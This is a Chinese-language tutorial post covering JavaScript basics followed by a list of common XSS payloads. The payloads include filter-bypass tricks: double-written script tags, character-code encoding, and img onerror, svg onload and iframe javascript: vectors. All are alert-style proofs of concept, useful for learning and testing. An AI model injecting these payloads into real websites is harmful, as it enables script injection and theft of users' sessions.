网络安全-js安全知识与XSS常用的payloads
  19qMgiCiiRfc 2023年12月06日 26 0

一、JS

JavaScript是一种轻量级的编程语言,用于定义HTML的行为。它与Java没有关系。JS脚本必须位于<script>与</script>标签之间。

常用输出方法:

window.alert():弹出警告框

document.write():将内容写到HTML文档中

innerHTML:写入到HTML元素

console.log():打印到浏览器的控制台

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    document.write("写入数据");
    window.alert('弹出数据');
</script>
</body>
</html>

网络安全-js安全知识与XSS常用的payloads_JS

注释:

单行注释:以//开头

多行注释:以/*开始,以*/结尾

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    // 单行注释
    /*
    多行注释
     */
</script>
</body>
</html>

数据类型:

基本数据类型:字符串(String),数字(Number),布尔(Boolean),空(Null),未定义(Undefined)

引用数据类型:对象(Object),数组(Array),函数(Function)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    function demo() {
        document.write("demo");
    }

    demo();
</script>
</body>
</html>

网络安全-js安全知识与XSS常用的payloads_JS_02

字符串方法:

方法

描述

charAt()

返回指定索引位置的字符

concat()

连接两个或多个字符串并返回

indexOf()

返回字符串中指定字符第一次出现的位置

lastIndexOf()

返回字符串中指定字符最后一次出现的位置

match()

正则表达式匹配的字符串

replace()

替换与正则表达式匹配的字符串

split()

字符串分割为字符串数组

substring()

提取字符串中两个指定索引之间的字符

toLocaleLowerCase()

把字符串转换成小写

toLocaleUpperCase()

把字符串转换成大写

toString()

返回字符串对象值

trim()

移除字符串首尾空白

valueOf()

返回某个字符串对象的原始值

HTML事件:

事件

描述

onchange

HTML元素改变

onclick

点击HTML元素

onmouseover

移动鼠标到HTML元素上

onmouseout

移开鼠标到HTML元素外

onkeydown

按下键盘按键

onload

浏览器完成页面的加载

Cookie:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    console.log(document.cookie);
</script>
</body>
</html>

二、XSS常用payload

普通

<script>alert('XSS')</script>
<script>document.cookie</script>

双写绕过

例如,php中使用str_replace函数替换<script>

<scr<script>ipt>alert('XSS')</scr<script>ipt>

编码绕过

例如,php中使用mysqli_real_escape_string函数转义特殊字符

"><script>alert(String.fromCharCode(88,83,83))</script>

html标签绕过正则

例如,php中使用preg_filter函数进行正则匹配删除script

<img src=x onerror=alert('XSS');>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><svg/onload=alert(/XSS/)
<div onpointerover="alert(45)">MOVE HERE</div>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年12月06日 0

暂无评论

19qMgiCiiRfc